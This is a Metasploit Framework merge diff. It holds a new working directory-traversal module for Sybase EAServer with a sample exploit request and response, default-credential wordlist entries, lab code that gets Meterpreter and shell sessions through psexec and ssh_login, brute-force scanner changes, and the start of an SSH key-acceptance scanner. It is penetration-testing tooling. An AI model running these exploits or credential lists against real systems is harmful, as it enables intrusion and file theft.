Merge remote branch 'upstream/master'
This commit is contained in:
commit
bd52f228a0
Binary file not shown.
|
@ -1,6 +1,39 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
5 Jan 12
|
||||
--------
|
||||
- Armitage d-server now transmits hosts, service, and session state only
|
||||
when something has changed. This makes teaming much snappier.
|
||||
- Uploading an imported hosts file now shows a progress dialog.
|
||||
- File browser upload function no longer blocks the user interface in team
|
||||
mode. A progress dialog is shown for uploading larger files.
|
||||
- Removed Ctrl+R refresh hosts shortcut from graph view (it's no longer
|
||||
necessary)
|
||||
- Armitage now exits if it was unable to connect to the collaboration server.
|
||||
- Hosts -> NMap Scans and Hosts -> MSF Scans dialogs are now populated with
|
||||
the selected values from the target area by default.
|
||||
- You may now interact with a Windows command shell through Java meterpreter.
|
||||
- Armitage no longer shows Webcam Shot option through Java meterpreter.
|
||||
- Armitage now detects when it does not have read permissions for the database
|
||||
YAML file and prompts with something helpful. Before it would just freeze
|
||||
with a blank dialog. Not helpful. :)
|
||||
- Armitage now only shows services that are open.
|
||||
- View -> Reporting -> Export Data now has the capability of dumping the whole
|
||||
database (not just the current workspace).
|
||||
- Added a dialog to View -> Reporting Export Data. Now you have the ability to
|
||||
dump all hosts or choose to dump one of the dynamic workspaces. This gives
|
||||
you a lot of flexibility with which hosts are included.
|
||||
- Cleaned up exported output of vulnerabilities in the Metasploit database:
|
||||
-- duplicate entries are collapsed to one (this was the fault of my query)
|
||||
-- refs column contains references separated by a comma and a space
|
||||
-- added info and module columns. The module column indicates the appropriate
|
||||
Metasploit module
|
||||
-- Metasploit modules now populate name, info, and module in an appropriate
|
||||
way.
|
||||
- Values exported to TSV are cleaned up such that newlines are replaced with a
|
||||
literal \n and tabs are converted to three spaces.
|
||||
|
||||
30 Dec 11 - last release of the year?
|
||||
---------
|
||||
- Hosts -> Clear Database now clears the sessions and clients tables
|
||||
|
|
|
@ -12,3 +12,6 @@ user
|
|||
system
|
||||
sys
|
||||
none
|
||||
xampp
|
||||
wampp
|
||||
ppmax2011
|
||||
|
|
|
@ -4,3 +4,6 @@ admin 1234
|
|||
cisco cisco
|
||||
cisco sanfran
|
||||
private private
|
||||
wampp xampp
|
||||
newuser wampp
|
||||
xampp-dav-unsecure ppmax2011
|
||||
|
|
|
@ -8,3 +8,6 @@ security
|
|||
user
|
||||
system
|
||||
sys
|
||||
wampp
|
||||
newuser
|
||||
xampp-dav-unsecure
|
||||
|
|
|
@ -97,26 +97,6 @@ class RemoteEsxDriver < VmDriver
|
|||
def delete_all_snapshots
|
||||
remote_system_command("vim-cmd vmsvc/snapshot.removeall #{@vmid}")
|
||||
end
|
||||
|
||||
def run_command(command)
|
||||
raise "Not Implemented"
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
if @os == "linux"
|
||||
scp_from(from, to)
|
||||
else
|
||||
raise "Unimplemented"
|
||||
end
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
if @os == "linux"
|
||||
scp_to(from, to)
|
||||
else
|
||||
raise "Unimplemented"
|
||||
end
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
raise "Not Implemented"
|
||||
|
@ -126,16 +106,137 @@ class RemoteEsxDriver < VmDriver
|
|||
raise "Not Implemented"
|
||||
end
|
||||
|
||||
def cleanup
|
||||
def run_command(command, timeout=60)
|
||||
|
||||
setup_session
|
||||
#puts "Using session #{@session}"
|
||||
|
||||
# TODO: pass the timeout down
|
||||
|
||||
if @session
|
||||
if @session.type == "shell"
|
||||
#puts "Running command via shell: #{command}"
|
||||
@session.shell_command_token(command, timeout)
|
||||
elsif @session.type == "meterpreter"
|
||||
#puts "Running command via meterpreter: #{command}"
|
||||
@session.shell_command(command)
|
||||
end
|
||||
else
|
||||
raise "No session"
|
||||
end
|
||||
end
|
||||
|
||||
def copy_to_guest(local,remote)
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("upload #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_to(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def copy_from_guest(local, remote)
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("download #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_from(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
end
|
||||
|
||||
def running?
|
||||
power_status_string = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/power.getstate #{@vmid}\"`
|
||||
return true if power_status_string =~ /Powered on/
|
||||
false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def create_framework
|
||||
return if @framework
|
||||
@framework = Msf::Simple::Framework.create
|
||||
end
|
||||
|
||||
# perform the setup only once
|
||||
def setup_session
|
||||
return if @session
|
||||
|
||||
# require the framework (assumes this sits in lib/lab/modifiers)
|
||||
require 'msf/base'
|
||||
|
||||
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
|
||||
|
||||
@session = nil
|
||||
@session_input = Rex::Ui::Text::Input::Buffer.new
|
||||
@session_output = Rex::Ui::Text::Output::Buffer.new
|
||||
|
||||
if @os == "windows"
|
||||
exploit_name = 'windows/smb/psexec'
|
||||
|
||||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'windows/meterpreter/bind_tcp'
|
||||
options = {
|
||||
"RHOST" => @hostname,
|
||||
"SMBUser" => @vm_user,
|
||||
"SMBPass" => @vm_pass}
|
||||
|
||||
#puts "DEBUG: using options #{options}"
|
||||
|
||||
# Initialize the exploit instance
|
||||
exploit = @framework.exploits.create(exploit_name)
|
||||
|
||||
begin
|
||||
# Fire it off.
|
||||
@session = exploit.exploit_simple(
|
||||
'Payload' => payload_name,
|
||||
'Options' => options,
|
||||
'LocalInput' => @session_input,
|
||||
'LocalOutput' => @session_output)
|
||||
@session.load_stdapi
|
||||
|
||||
#puts "DEBUG: Generated session: #{@session}"
|
||||
|
||||
rescue Exception => e
|
||||
#puts "DEBUG: Unable to exploit"
|
||||
#puts e.to_s
|
||||
end
|
||||
else
|
||||
module_name = 'scanner/ssh/ssh_login'
|
||||
|
||||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'linux/x86/shell_bind_tcp'
|
||||
options = { "RHOSTS" => @hostname,
|
||||
"USERNAME" => @vm_user,
|
||||
"PASSWORD" => @vm_pass,
|
||||
"BLANK_PASSWORDS" => false,
|
||||
"USER_AS_PASS" => false,
|
||||
"VERBOSE" => false}
|
||||
|
||||
# Initialize the module instance
|
||||
aux = @framework.auxiliary.create(module_name)
|
||||
|
||||
#puts "DEBUG: created module: #{aux}"
|
||||
|
||||
begin
|
||||
# Fire it off.
|
||||
aux.run_simple(
|
||||
'Payload' => payload_name,
|
||||
'Options' => options,
|
||||
'LocalInput' => @session_input,
|
||||
'LocalOutput' => @session_output)
|
||||
|
||||
@session = @framework.sessions.first.last
|
||||
rescue Exception => e
|
||||
#puts "DEBUG: Unable to exploit"
|
||||
#puts e.to_s
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_snapshots
|
||||
# Command take the format:
|
||||
# vmware-vim-cmd vmsvc/snapshot.revert [vmid: int] [snapshotlevel: int] [snapshotindex: int]
|
||||
|
@ -147,7 +248,7 @@ class RemoteEsxDriver < VmDriver
|
|||
# ...
|
||||
snapshots = []
|
||||
|
||||
# Use these to keep track of the parsing...
|
||||
# Use these to keep track of the parsing...
|
||||
current_tree = -1
|
||||
current_num = 0
|
||||
count = 0
|
||||
|
|
|
@ -86,11 +86,11 @@ class VmDriver
|
|||
def run_command(command)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
@ -117,7 +117,6 @@ private
|
|||
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
|
||||
# scp.upload!(from,to)
|
||||
#end
|
||||
|
||||
system_command("scp #{local} #{@vm_user}@#{@hostname}:#{remote}")
|
||||
end
|
||||
|
||||
|
@ -127,17 +126,13 @@ private
|
|||
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
|
||||
# scp.download!(from,to)
|
||||
#end
|
||||
|
||||
system_command("scp #{@vm_user}@#{@hostname}:#{remote} #{local}")
|
||||
|
||||
end
|
||||
|
||||
|
||||
def ssh_exec(command)
|
||||
|
||||
::Net::SSH.start(@hostname, @vm_user, :password => @vm_pass) do |ssh|
|
||||
result = ssh.exec!(command)
|
||||
end
|
||||
|
||||
`scp #{@vm_user}@#{@hostname} from to`
|
||||
end
|
||||
|
||||
|
@ -148,7 +143,6 @@ private
|
|||
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\):!]*$/.match string
|
||||
raise "WARNING! Invalid character in: #{string}"
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
|
@ -159,18 +153,17 @@ private
|
|||
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
|
||||
raise "WARNING! Invalid character in: #{string}"
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
|
||||
# The only reason we don't filter here is because we need
|
||||
# the ability to still run clean (controlled entirely by us)
|
||||
# command lines.
|
||||
def system_command(command)
|
||||
`#{command}`
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def remote_system_command(command)
|
||||
system_command("ssh #{@user}@#{@host} \"#{command}\"")
|
||||
end
|
||||
|
|
|
@ -1,26 +1,73 @@
|
|||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# This allows us to override the default way of running commands
|
||||
# Currently useful for the esx controller
|
||||
# Currently useful for the remote esx driver
|
||||
|
||||
module Lab
|
||||
module Modifier
|
||||
module Meterpreter
|
||||
|
||||
|
||||
attr_accessor :framework
|
||||
attr_accessor :session
|
||||
attr_accessor :session_input
|
||||
attr_accessor :session_output
|
||||
|
||||
def create_framework
|
||||
return if @framework
|
||||
@framework = Msf::Simple::Framework.create
|
||||
def meterpreter_run_command(command, timeout=60)
|
||||
|
||||
setup_session
|
||||
puts "Using session #{@session}"
|
||||
|
||||
# TODO: pass the timeout down
|
||||
|
||||
if @session
|
||||
if @session.type == "shell"
|
||||
puts "Running command via shell: #{command}"
|
||||
@session.shell_command_token(command, timeout)
|
||||
elsif @session.type == "meterpreter"
|
||||
puts "Running command via meterpreter: #{command}"
|
||||
@session.shell_command(command) #, timeout)
|
||||
end
|
||||
else
|
||||
raise "No session"
|
||||
end
|
||||
end
|
||||
|
||||
def meterpreter_copy_to_guest(local,remote)
|
||||
puts "DEBUG: Meterpreter"
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("upload #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_to(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def meterpreter_copy_from_guest(local, remote)
|
||||
puts "DEBUG: Meterpreter"
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("download #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_from(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
# This isn't part of the normal API, but too good to pass up.
|
||||
def meterpreter_run_script(script, options)
|
||||
if @session.type == "meterpreter"
|
||||
@session.execute_script(script, options)
|
||||
else
|
||||
raise "Unsupported on #{@session.type}"
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def create_framework
|
||||
return if @framework
|
||||
@framework = Msf::Simple::Framework.create
|
||||
end
|
||||
|
||||
# perform the setup only once
|
||||
def setup_session
|
||||
return if @session
|
||||
|
@ -28,12 +75,11 @@ module Meterpreter
|
|||
# require the framework (assumes this sits in lib/lab/modifiers)
|
||||
require 'msf/base'
|
||||
|
||||
create_framework ## TODO - this should use a single framework
|
||||
## for all hosts, not one-per-host
|
||||
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
|
||||
|
||||
@session = nil
|
||||
@session_input = Rex::Ui::Text::Input::Buffer.new
|
||||
@session_output = Rex::Ui::Text::Output::Buffer.new
|
||||
@session = nil
|
||||
@session_input = Rex::Ui::Text::Input::Buffer.new
|
||||
@session_output = Rex::Ui::Text::Output::Buffer.new
|
||||
|
||||
if @os == "windows"
|
||||
exploit_name = 'windows/smb/psexec'
|
||||
|
@ -41,11 +87,12 @@ module Meterpreter
|
|||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'windows/meterpreter/bind_tcp'
|
||||
options = { "RHOST" => @hostname,
|
||||
"SMBUser" => @vm_user,
|
||||
"SMBPass" => @vm_pass}
|
||||
options = {
|
||||
"RHOST" => @hostname,
|
||||
"SMBUser" => @vm_user,
|
||||
"SMBPass" => @vm_pass}
|
||||
|
||||
puts "DEBUG: using options #{options}"
|
||||
puts "DEBUG: using options #{options}"
|
||||
|
||||
# Initialize the exploit instance
|
||||
exploit = @framework.exploits.create(exploit_name)
|
||||
|
@ -79,7 +126,7 @@ module Meterpreter
|
|||
"USER_AS_PASS" => false,
|
||||
"VERBOSE" => false}
|
||||
|
||||
puts "DEBUG: using options #{options}"
|
||||
puts "DEBUG: using options #{options}"
|
||||
|
||||
# Initialize the module instance
|
||||
aux = @framework.auxiliary.create(module_name)
|
||||
|
@ -101,64 +148,7 @@ module Meterpreter
|
|||
puts e.to_s
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
def run_command(command, timeout=60)
|
||||
|
||||
setup_session
|
||||
puts "Using session #{@session}"
|
||||
|
||||
# TODO: pass the timeout down
|
||||
|
||||
if @session
|
||||
if @session.type == "shell"
|
||||
puts "Running command via shell: #{command}"
|
||||
@session.shell_command_token(command, timeout)
|
||||
elsif @session.type == "meterpreter"
|
||||
puts "Running command via meterpreter: #{command}"
|
||||
@session.shell_command(command) #, timeout)
|
||||
end
|
||||
else
|
||||
raise "No session"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# This isn't part of the normal API, but too good to pass up.
|
||||
def run_script(script, options)
|
||||
if @session.type == "meterpreter"
|
||||
@session.execute_script(script, options)
|
||||
else
|
||||
raise "Unsupported on #{@session.type}"
|
||||
end
|
||||
end
|
||||
|
||||
# For meterpreter API compatibility
|
||||
#def execute_file(script,options)
|
||||
# run_script(script,options)
|
||||
#end
|
||||
|
||||
def copy_to(local,remote)
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("upload #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_to(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def copy_from(local, remote)
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("download #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_from(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -103,12 +103,15 @@ class Vm
|
|||
# modifiers are properly used with the correct VM image.
|
||||
@modifiers = config['modifiers']
|
||||
|
||||
if @modifiers
|
||||
begin
|
||||
@modifiers.each { |modifier| self.class.send(:include, eval("Lab::Modifier::#{modifier}"))}
|
||||
rescue Exception => e
|
||||
# modifier likely didn't exist
|
||||
end
|
||||
if @modifiers
|
||||
@modifiers.each do |modifier|
|
||||
begin
|
||||
self.class.send(:include, eval("Lab::Modifier::#{modifier}"))
|
||||
rescue Exception => e
|
||||
#puts "WARNING: Unable to load: #{modifier}"
|
||||
#puts "Exception: #{e}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Consume all tags
|
||||
|
@ -206,11 +209,9 @@ class Vm
|
|||
end
|
||||
|
||||
def to_yaml
|
||||
|
||||
# TODO - push this down to the drivers.
|
||||
|
||||
# Standard configuration options
|
||||
out = " - vmid: #{@vmid}\n"
|
||||
out = " hostname: #{@hostname}\n"
|
||||
out += " driver: #{@driver_type}\n"
|
||||
out += " location: #{@location}\n"
|
||||
out += " type: #{@type}\n"
|
||||
|
|
|
@ -158,12 +158,12 @@ module Controllers
|
|||
case driver_type.intern
|
||||
when :workstation
|
||||
vm_list = ::Lab::Controllers::WorkstationController::running_list
|
||||
|
||||
|
||||
vm_list.each do |item|
|
||||
|
||||
|
||||
## Name the VM
|
||||
index = @vms.count + 1
|
||||
|
||||
|
||||
## Add it to the vm list
|
||||
@vms << Vm.new( { 'vmid' => "vm_#{index}",
|
||||
'driver' => driver_type,
|
||||
|
@ -171,8 +171,6 @@ module Controllers
|
|||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
|
||||
|
||||
when :virtualbox
|
||||
vm_list = ::Lab::Controllers::VirtualBoxController::running_list
|
||||
vm_list.each do |item|
|
||||
|
@ -189,10 +187,10 @@ module Controllers
|
|||
vm_list = ::Lab::Controllers::RemoteWorkstationController::running_list(user, host)
|
||||
|
||||
vm_list.each do |item|
|
||||
|
||||
|
||||
## Name the VM
|
||||
index = @vms.count + 1
|
||||
|
||||
|
||||
## Add it to the vm list
|
||||
@vms << Vm.new( { 'vmid' => "vm_#{index}",
|
||||
'driver' => driver_type,
|
||||
|
@ -202,7 +200,6 @@ module Controllers
|
|||
end
|
||||
when :remote_esx
|
||||
vm_list = ::Lab::Controllers::RemoteEsxController::running_list(user,host)
|
||||
|
||||
vm_list.each do |item|
|
||||
@vms << Vm.new( { 'vmid' => "#{item[:id]}",
|
||||
'name' => "#{item[:name]}",
|
||||
|
@ -210,12 +207,11 @@ module Controllers
|
|||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
|
||||
else
|
||||
raise TypeError, "Unsupported VM Type"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def build_from_config(driver_type=nil, user=nil, host=nil, clear=false)
|
||||
if clear
|
||||
|
@ -234,18 +230,17 @@ module Controllers
|
|||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
|
||||
else
|
||||
raise TypeError, "Unsupported VM Type"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def running?(vmid)
|
||||
if includes_vmid?(vmid)
|
||||
return self.find_by_hostname(vmid).running?
|
||||
end
|
||||
return false
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -492,11 +492,15 @@ module Exploit::Remote::HttpClient
|
|||
end
|
||||
].compact
|
||||
|
||||
headers ={ 'Authorization' => auth.join(', ') }
|
||||
headers.merge!(opts['headers']) if opts['headers']
|
||||
|
||||
|
||||
# Send main request with authentication
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method,
|
||||
'headers' => { 'Authorization' => auth.join(', ') }}))
|
||||
'headers' => headers }))
|
||||
resp = c.send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
|
|
|
@ -71,7 +71,7 @@ module Net
|
|||
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
|
||||
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
|
||||
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
|
||||
:record_auth_info
|
||||
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent
|
||||
]
|
||||
|
||||
# The standard means of starting a new SSH connection. When used with a
|
||||
|
@ -196,7 +196,7 @@ module Net
|
|||
# Tell MSF not to auto-close this socket anymore...
|
||||
# This allows the transport socket to surive with the session.
|
||||
if options[:msfmodule]
|
||||
options[:msfmodule].remove_socket(transport.socket)
|
||||
options[:msfmodule].remove_socket(transport.socket)
|
||||
end
|
||||
|
||||
if block_given?
|
||||
|
@ -206,7 +206,7 @@ module Net
|
|||
return connection
|
||||
end
|
||||
else
|
||||
transport.close
|
||||
transport.close
|
||||
raise AuthenticationFailed, user
|
||||
end
|
||||
end
|
||||
|
|
|
@ -121,10 +121,16 @@ module Net
|
|||
end
|
||||
|
||||
key_data.each do |data|
|
||||
private_key = KeyFactory.load_data_private_key(data)
|
||||
key = private_key.send(:public_key)
|
||||
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
|
||||
yield key
|
||||
if @options[:skip_private_keys]
|
||||
key = KeyFactory.load_data_public_key(data)
|
||||
known_identities[key] = { :from => :key_data, :data => data }
|
||||
yield key
|
||||
else
|
||||
private_key = KeyFactory.load_data_private_key(data)
|
||||
key = private_key.send(:public_key)
|
||||
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
|
||||
yield key
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
|
@ -165,6 +171,7 @@ module Net
|
|||
|
||||
# Identifies whether the ssh-agent will be used or not.
|
||||
def use_agent?
|
||||
return false if @options[:disable_agent]
|
||||
@use_agent
|
||||
end
|
||||
|
||||
|
|
|
@ -54,6 +54,23 @@ module Net
|
|||
|
||||
case message.type
|
||||
when USERAUTH_PK_OK
|
||||
debug { "publickey will be accepted (#{identity.fingerprint})" }
|
||||
|
||||
# The key is accepted by the server, trigger a callback if set
|
||||
if session.accepted_key_callback
|
||||
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
|
||||
end
|
||||
|
||||
if session.skip_private_keys
|
||||
if session.options[:record_auth_info]
|
||||
session.auth_info[:method] = "publickey"
|
||||
session.auth_info[:user] = username
|
||||
session.auth_info[:pubkey_data] = identity.inspect
|
||||
session.auth_info[:pubkey_id] = identity.fingerprint
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
buffer = build_request(identity, username, next_service, true)
|
||||
sig_data = Net::SSH::Buffer.new
|
||||
sig_data.write_string(session_id)
|
||||
|
|
|
@ -33,6 +33,12 @@ module Net; module SSH; module Authentication
|
|||
|
||||
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
|
||||
attr_accessor :auth_info
|
||||
|
||||
# when a public key is accepted (even if not used), trigger a callback
|
||||
attr_accessor :accepted_key_callback
|
||||
|
||||
# when we only want to test a key and not login
|
||||
attr_accessor :skip_private_keys
|
||||
|
||||
# Instantiates a new Authentication::Session object over the given
|
||||
# transport layer abstraction.
|
||||
|
@ -43,8 +49,10 @@ module Net; module SSH; module Authentication
|
|||
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
|
||||
@options = options
|
||||
|
||||
@allowed_auth_methods = @auth_methods
|
||||
@auth_info = {}
|
||||
@allowed_auth_methods = @auth_methods
|
||||
@skip_private_keys = options[:skip_private_keys] || false
|
||||
@accepted_key_callback = options[:accepted_key_callback]
|
||||
@auth_info = {}
|
||||
end
|
||||
|
||||
# Attempts to authenticate the given user, in preparation for the next
|
||||
|
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
|
||||
OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)" ]),
|
||||
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth (default:GET)", "GET" ])
|
||||
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "GET" ])
|
||||
], self.class)
|
||||
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
|
||||
end
|
||||
|
@ -277,6 +277,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'DigestAuthUser' => user,
|
||||
'DigestAuthPassword' => pass
|
||||
}, 25)
|
||||
elsif requesttype == "PROPFIND"
|
||||
res,c = send_digest_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => requesttype,
|
||||
'data' => '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>',
|
||||
#'DigestAuthIIS' => false,
|
||||
'DigestAuthUser' => user,
|
||||
'DigestAuthPassword' => pass,
|
||||
'headers' => { 'Depth' => '0'}
|
||||
}, 25)
|
||||
else
|
||||
res,c = send_digest_request_cgi({
|
||||
'uri' => path,
|
||||
|
@ -294,7 +304,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
return :abort if (res.code == 404)
|
||||
|
||||
if (res.code == 200) or (res.code == 201)
|
||||
if (res.code == 200) or (res.code == 201)
|
||||
if ((res.code == 201) and (requesttype == "PUT"))
|
||||
print_good("Trying to delete #{path}")
|
||||
del_res,c = send_digest_request_cgi({
|
||||
|
@ -311,6 +321,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :success
|
||||
end
|
||||
|
||||
if (res.code == 207) and (requesttype == "PROPFIND")
|
||||
@proof = res
|
||||
return :success
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||
return :abort
|
||||
|
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in Sybase
|
||||
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
|
||||
EAserver's default configuration unless the web server allows WRITE permission.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-2474' ],
|
||||
[ 'OSVDB', '72498' ],
|
||||
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
|
||||
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Sow Ching Shiong', #Initial discovery (via iDefense)
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "May 25 2011"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# No point to continue if no filename is specified
|
||||
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
||||
print_error("Please supply the name of the file you want to download")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Attempting to download: #{datastore['FILEPATH']}")
|
||||
|
||||
# Create request
|
||||
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
|
||||
}, 25)
|
||||
|
||||
print_status("Server returns HTTP code: #{res.code.to_s}")
|
||||
|
||||
# Show data if needed
|
||||
if res and res.code == 200
|
||||
vprint_line(res.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
||||
path = store_loot(
|
||||
'easerver.http',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_status("File saved in: #{path}")
|
||||
else
|
||||
print_error("Nothing was downloaded")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
|
||||
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
|
||||
Connection: close
|
||||
Accept: */*
|
||||
Host: 10.0.1.55:8000
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
|
||||
Content-Length: 211
|
||||
Connection: close
|
||||
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
||||
|
||||
[boot loader]
|
||||
timeout=30
|
||||
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
|
||||
[operating systems]
|
||||
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
|
||||
|
||||
$ nc 10.0.1.55 8000
|
||||
OPTIONS / HTTP/1.0
|
||||
|
||||
HTTP/1.1 405 Method Not Allowed
|
||||
Allow: GET
|
||||
Content-Length: 0
|
||||
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
||||
=end
|
|
@ -0,0 +1,275 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SSH Public Key Acceptance Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module can determine what public keys are configured for
|
||||
key-based authentication across a range of machines, users, and
|
||||
sets of known keys. The SSH protocol indicates whether a particular
|
||||
key is accepted prior to the client performing the actual signed
|
||||
authentication request. To use this module, a text file containing
|
||||
